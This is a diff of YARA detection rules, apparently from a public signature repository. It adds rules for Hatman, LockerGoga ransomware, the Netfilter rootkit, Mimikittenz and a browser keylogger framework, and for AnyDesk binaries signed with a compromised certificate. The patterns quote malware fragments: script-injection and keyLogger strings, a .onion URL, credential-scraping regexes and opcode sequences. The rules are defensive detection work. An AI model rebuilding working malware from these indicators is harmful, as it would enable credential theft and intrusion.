+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa77d622584e79c86139b9c0f0b8ff46fc10461d0776e46c93490b6bb667afcf"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "28c7575b2368a9b58d0d1bf22257c4811bd3c212bd606afc7e65904041c29ce1"
 
 	strings:
-		$x1 = "NXKILL" fullword wide
-		$s1 = "2OLE32.DLL" fullword ascii
-		$s2 = "localspn.dll" fullword wide
-		$s3 = "!This is a Win32 program." fullword ascii
+		$a3 = "(0xbb8);this['socketWatcher'](0xbb9);this["
+		$a4 = "a2869674571f77b5a0867c3d71db5856"
+		$a5 = "\\x0a\\x20\\x20var\\x20data\\x20=\\x20{}\\x0a\\x20\\x20window.c\\x20=\\x200\\x0a\\x20\\x20script2\\x20=\\x20document.createElement(\\x22script\\x22)\\x0a\\x20\\x20script2.async\\x20=\\x20true\\x0a\\x20\\x20script2.src\\x20=\\x20\\x22"
+		$a6 = "{isPluginCallback:\\x20true,\\x20data,\\x20plugin:\\x20'"
+		$a7 = "\\x20\\x22*\\x22)\\x0a\\x20\\x20}\\x0a\\x20\\x20document.documentElement.appendChild("
+		$b1 = "String(str).match(/red\">(.*?)<\\/font>/)"
+		$b2 = "['data']);}};}},{'key':'run','value':function _0x"
+		$b3 = "},{'plugin':this['plugin'],'save':!![],'type':_typeof("
+		$b4 = "Cannot\\x20call\\x20a\\x20class\\x20as\\x20a\\x20function"
+		$b5 = "The\\x20command\\x20is\\x20sent\\x20successfully,\\x20wait\\x20for\\x20the\\x20result\\x20to\\x20return"
+		$b6 = "getUserMedia\\x20is\\x20not\\x20implemented\\x20in\\x20this\\x20browser"
+		$b7 = "{'autoplay':'true'},!![]);setTimeout(function(){return $('#'+"
+		$b8 = "keyLogger($('input'));\n        keyLogger($('textarea'));"
+		$b9 = "api.loadJS(\"\".concat(api.base.baseUrl"
+		$b10 = "\"\".concat(imgUrls[i], \"?t=\""
+		$b11 = "key: \"report\",\n      value: function report(data) {\n        return this.api.callback"
+		$b12 = "that.api.base.debounce("
+		$b13 = "'className','restOfNavigator','push'"
+		$b14 = ";};'use strict';function _typeof("
+		$c1 = "/public/dependence/jquery"
+		$c2 = "'http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png'"
+		$c3 = "'163.com not login';"
+		$c4 = "'ws://localhost:'"
+		$c5 = "function _typeof(obj) { \"@babel/helpers - typeof\"; "
+		$c6 = "'socketWatcher'"
+		$c7 = "['configurable']=!![];"
+		$c8 = "')]({'status':!![],'data':_0x"
+		$c9 = "')]={'localStorage':'localStorage'in window?window[_0x"
+		$c10 = "Browser not supported geolocation.');"
+		$c11 = "')]({'status':!![],'msg':'','data':_0x"
+		$c12 = "var Plugin = /*#__PURE__*/function () {"
+		$use_strict1 = "\"use strict\";"
+		$use_strict2 = "'use strict';"
+		$e1 = "Cannot\x20call\x20a\x20class\x20as\x20a\x20function" base64
+		$e2 = "The\x20command\x20is\x20sent\x20successfully,\x20wait\x20for\x20the\x20result\x20to\x20return" base64
+		$e3 = "getUserMedia\x20is\x20not\x20implemented\x20in\x20this\x20browser" base64
+		$e4 = "http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png" base64
+		$e5 = "/public/dependence/jquery" base64
+		$e6 = "\x20\x22*\x22)\x0a\x20\x20}\x0a\x20\x20document.documentElement.appendChild(" base64
+		$e8 = "\x0a\x20\x20var\x20data\x20=\x20{}\x0a\x20\x20window.c\x20=\x200\x0a\x20\x20script2\x20=\x20document.createElement(\x22script\x22)\x0a\x20\x20script2.async\x20=\x20true\x0a\x20\x20script2.src\x20=\x20\x22" base64
+		$e9 = "{isPluginCallback:\x20true,\x20data,\x20plugin:\x20" base64
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <8000KB and $x1 and 2 of ($s*))
+		filesize <1000000 and ( any of ($a*) or 2 of ($b*) or 4 of ($c*) or 2 of ($e*) or ( any of ($use_strict*) and (( any of ($b*) and 2 of ($c*)) or any of ($e*))))
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_4 : FILE
+rule SIGNATURE_BASE_Hatman_Compiled_Python : HATMAN
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f182064d-3a91-5a61-aa0f-2ce491a60126"
-		date = "2016-10-20"
+		description = "Detects Hatman malware"
+		author = "DHS/NCCIC/ICS-CERT"
+		id = "fd156669-72b4-59a5-8f36-aac21d7b3105"
+		date = "2017-12-19"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L126-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c445e745ef520438fa7c4ddcae2657b57c80d798640fdd7c85eabf535f158911"
+		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L86-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a18018e4c6ea5b7ab6e1dbdc050e565f66520676565db6d352f58a786097960f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "27463bcb4301f0fdd95bc10bf67f9049e161a4e51425dac87949387c54c9167f"
+		tags = "HATMAN"
 
-	strings:
-		$s1 = "QWNjZXB0On" fullword ascii
-		$s2 = "VXNlci1BZ2VudDogT" fullword ascii
-		$s3 = "dGFzay5kbnME3luLmN" fullword ascii
+	condition:
+		SIGNATURE_BASE_Hatman_Nullsub_PRIVATE and SIGNATURE_BASE_Hatman_Setstatus_PRIVATE and SIGNATURE_BASE_Hatman_Dividers_PRIVATE
+}
+rule SIGNATURE_BASE_Hatman_Injector : HATMAN
+{
+	meta:
+		description = "Detects Hatman malware"
+		author = "DHS/NCCIC/ICS-CERT"
+		id = "b939b83d-cc4a-5998-89a7-8abf8d0b8592"
+		date = "2017-12-19"
+		modified = "2023-01-09"
+		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L96-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19edf44bec6e1cbccefa145c5ae1bf0820729a80ac3ef1c8e7100b465b487e3c"
+		score = 75
+		quality = 85
+		tags = "HATMAN"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		(SIGNATURE_BASE_Hatman_Memcpy_PRIVATE and SIGNATURE_BASE_Hatman_Origaddr_PRIVATE and SIGNATURE_BASE_Hatman_Loadoff_PRIVATE)
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Tool_Ntscan : FILE
+rule SIGNATURE_BASE_Hatman_Payload : HATMAN
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6ec3371a-2a1c-53d1-b650-d28728db1b40"
-		date = "2016-10-20"
+		description = "Detects Hatman malware"
+		author = "DHS/NCCIC/ICS-CERT"
+		id = "9ef57fca-a536-5937-8510-b410f735a73e"
+		date = "2017-12-19"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L143-L159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2b41c1e6db8c9288663cccbf5659484ed415b403068cc566b31aa044bf0de9e"
+		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L107-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a6e5d2c2f2be35e6dc8b418e33419977460006923ecd9f029cacf51d8c0477a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0f290612b26349a551a148304a0bd3b0d0651e9563425d7c362f30bd492d8665"
-
-	strings:
-		$x1 = "NTscan.EXE" fullword wide
-		$x2 = "NTscan Microsoft " fullword wide
-		$s1 = "admin$" fullword ascii
+		tags = "HATMAN"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
+		(SIGNATURE_BASE_Hatman_Memcpy_PRIVATE and SIGNATURE_BASE_Hatman_Origcode_PRIVATE and SIGNATURE_BASE_Hatman_Mftmsr_PRIVATE) and not (SIGNATURE_BASE_Hatman_Origaddr_PRIVATE and SIGNATURE_BASE_Hatman_Loadoff_PRIVATE)
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_5 : FILE
+rule SIGNATURE_BASE_Ransom_Lockergoga_Mar19_1 : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
+		description = "Detects LockerGoga ransomware binaries"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce8d1b9e-7750-5796-a048-20bfd48c6aee"
-		date = "2016-10-20"
+		id = "ba5836b9-bc47-54d4-8f7a-475ba0feaac6"
+		date = "2019-03-19"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L161-L182"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30508c6561a2bb908945e9092da1d5cf2257b8b183effcea25a1ba15567f3d20"
+		reference = "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_lockergoga.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "076d799113f5bf6c00aa29895cca83ff86e89706cf15ca6971a991d345d0ad65"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "03aafc5f468a84f7dd7d7d38f91ff17ef1ca044e5f5e8bbdfe589f5509b46ae5"
+		hash1 = "c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15"
+		hash2 = "7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26"
+		hash3 = "bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f"
 
 	strings:
-		$x1 = "ncircTMPg" fullword ascii
-		$x2 = "~SHELL#" fullword ascii
-		$x3 = "N.adobe.xm" fullword ascii
-		$s1 = "NEL32.DLL" fullword ascii
-		$s2 = "BitLocker.exe" fullword wide
-		$s3 = "|xtplhd" fullword ascii
-		$s4 = "SERVICECORE" fullword wide
-		$s5 = "SHARECONTROL" fullword wide
+		$x1 = "\\.(doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf)" wide
+		$x2 = "|[A-Za-z]:\\cl.log" wide
+		$x4 = "\\crypto-locker\\" ascii
+		$xc1 = { 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E
+               00 61 00 6D 00 65 00 00 00 00 00 4D 00 6C 00 63
+               00 72 00 6F 00 73 00 6F 00 66 00 74 }
+		$xc2 = { 00 2E 00 6C 00 6F 00 63 00 6B 00 65 00 64 00 00
+               00 20 46 41 49 4C 45 44 20 00 00 00 00 20 00 00
+               00 20 75 6E 6B 6E 6F 77 6E 20 65 78 63 65 70 74
+               69 6F 6E }
+		$rn1 = "This may lead to the impossibility of recovery of the certain files." wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and 1 of ($x*) or all of ($s*))
+		( uint16(0)==0x5a4d and filesize <4000KB and 1 of ($x*)) or $rn1
 }
-rule SIGNATURE_BASE_Irontiger_Aspxspy : HIGHVOL
+rule SIGNATURE_BASE_MAL_Netfilter_Dropper_Jun_2021_1_1 : FILE
 {
 	meta:
-		description = "ASPXSpy detection. It might be used by other fraudsters"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "3010fcb9-0dbf-59ef-90ce-01d922a95f2d"
-		date = "2023-12-05"
+		description = "Detects the dropper of Netfilter rootkit"
+		author = "Arkbird_SOLG"
+		id = "d91f48aa-9580-572d-a72c-19b80624cdbe"
+		date = "2020-06-18"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L1-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b5830d3fd6aa346b27788cd4abd581b4724fecc4e880b14dd7b1dd27ef1eea3"
+		reference = "https://twitter.com/struppigel/status/1405483373280235520"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_netfilter.yar#L4-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b70eb5d2d234d0f523c41fa146f315cf7239bbe7a988b393e75ea6cf6aa438d3"
 		score = 75
 		quality = 85
-		tags = "HIGHVOL"
+		tags = "FILE"
+		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
+		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
+		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$str2 = "IIS Spy" wide ascii
-		$str3 = "protected void DGCoW(object sender,EventArgs e)" wide ascii
+		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
+		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
+		$s1 = "%s\\netfilter.sys" fullword ascii
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
+		$s3 = "\\\\.\\netfilter" fullword ascii
 
 	condition:
-		any of ($str*)
+		uint16(0)==0x5a4d and filesize >6KB and filesize <1000KB and ( all of ($seq*) or 2 of ($s*))
 }
-rule SIGNATURE_BASE_Irontiger_Changeport_Toolkit_Driversinstall : FILE
+rule SIGNATURE_BASE_MAL_Netfilter_May_2021_1_1 : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "fde2728b-9a23-5f35-9727-0834a7b403da"
-		date = "2023-12-05"
+		description = "Detects Netfilter rootkit"
+		author = "Arkbird_SOLG"
+		id = "0ac01eb3-435b-52b0-b8e8-ace2ebb34f60"
+		date = "2020-06-18"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L15-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ae32596da4f98a0ec2556c2cd87fc7a0f85c37ce96c7163664f2e8cc3ec498d"
+		reference = "https://twitter.com/struppigel/status/1405483373280235520"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_netfilter.yar#L28-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba72bbc38c27d0c8d6eea7d513c3ca40276edd929c93abae4098639f7d7649a5"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
+		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
+		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
+		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$str1 = "openmydoor" wide ascii
-		$str2 = "Install service error" wide ascii
-		$str3 = "start remove service" wide ascii
-		$str4 = "NdisVersion" wide ascii
+		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
+		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
+		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
+		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
+		$s1 = "%sc=%s" fullword ascii
+		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
+		$s3 = "NETIO.SYS" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($str*))
+		uint16(0)==0x5a4d and filesize >20KB and filesize <1000KB and (3 of ($seq*) or 2 of ($s*))
 }
-rule SIGNATURE_BASE_Irontiger_Changeport_Toolkit_Changeportexe : FILE
+rule SIGNATURE_BASE_Invoke_Mimikittenz : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - Toolkit ChangePort"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "2ba74413-5f72-560a-8567-1c4bf3357097"
-		date = "2023-12-05"
+		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6dcf3d0a-302b-520c-97c6-fd843c8a25b9"
+		date = "2016-07-19"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L31-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5a5a1cff372d97bfa281d297b6230279cd1526c5df636efe4dec3aa3d923edf"
-		score = 75
+		reference = "https://github.com/putterpanda/mimikittenz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikittenz.yar#L10-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f0410a0290d09d3574854b55ffe578f6f799368e14677b581cd65d18700a8656"
+		score = 90
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
 
 	strings:
-		$str1 = "Unable to alloc the adapter!" wide ascii
-		$str2 = "Wait for master fuck" wide ascii
-		$str3 = "xx.exe <HOST> <PORT>" wide ascii
-		$str4 = "chkroot2007" wide ascii
-		$str5 = "Door is bind on %s" wide ascii
+		$x1 = "[mimikittenz.MemProcInspector]" ascii
+		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
+		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
+		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
+		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($str*))
+		( uint16(0)==0x7566 and filesize <60KB and 2 of them ) or $x1
 }
-rule SIGNATURE_BASE_Irontiger_Dllshellexc2010 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_PUA_Anydesk_Compromised_Certificate_Revoked_Jan24 : FILE
 {
 	meta:
-		description = "dllshellexc2010 Exchange backdoor + remote shell"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "960e8e5c-65a5-5dd2-90fa-1f7d31ee8cb5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L48-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b75477f01627ac05013c5e4ccb1d58a6bb25bfbe83ad0cec392140d44637a028"
+		description = "Detects binaries signed with a compromised signing certificate of AnyDesk (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8) after it was revoked. This is not a threat detection. It detects an outdated version of AnyDesk that was signed with a certificate that has been revoked."
+		author = "Florian Roth"
+		id = "eeefc9a5-1416-544b-b95e-c063000a4028"
+		date = "2024-02-05"
+		modified = "2024-04-24"
+		reference = "https://anydesk.com/en/public-statement"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_anydesk_compromised_cert_feb23.yar#L3-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1f148dbf15579bd6a65e7c93fa64f00ea481d6b314a444fa924a4604adb9a6d"
+		score = 50
+		quality = 85
+		tags = "FILE"
+
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8")
+}
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_1 : FILE
+{
+	meta:
+		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; strict version)"
+		author = "Florian Roth"
+		id = "8d172b04-f7f7-54df-b30c-3ee17d3cca12"
+		date = "2024-02-02"
+		modified = "2024-04-24"
+		reference = "https://anydesk.com/en/public-statement"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_anydesk_compromised_cert_feb23.yar#L19-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b2268b1efa09ee8578f4c1ae07617ac6bebeacd3ed50598a2fc2ec4d709baa7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$str1 = "Microsoft.Exchange.Clients.Auth.dll" ascii wide
-		$str2 = "Dllshellexc2010" wide ascii
-		$str3 = "Users\\ljw\\Documents" wide ascii
-		$bla1 = "please input path" wide ascii
-		$bla2 = "auth.owa" wide ascii
+		$a1 = "AnyDesk Software GmbH" wide
 
 	condition:
-		( uint16(0)==0x5a4d) and (( any of ($str*)) or ( all of ($bla*)))
+		uint16(0)==0x5a4d and not $a1 and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8")
 }
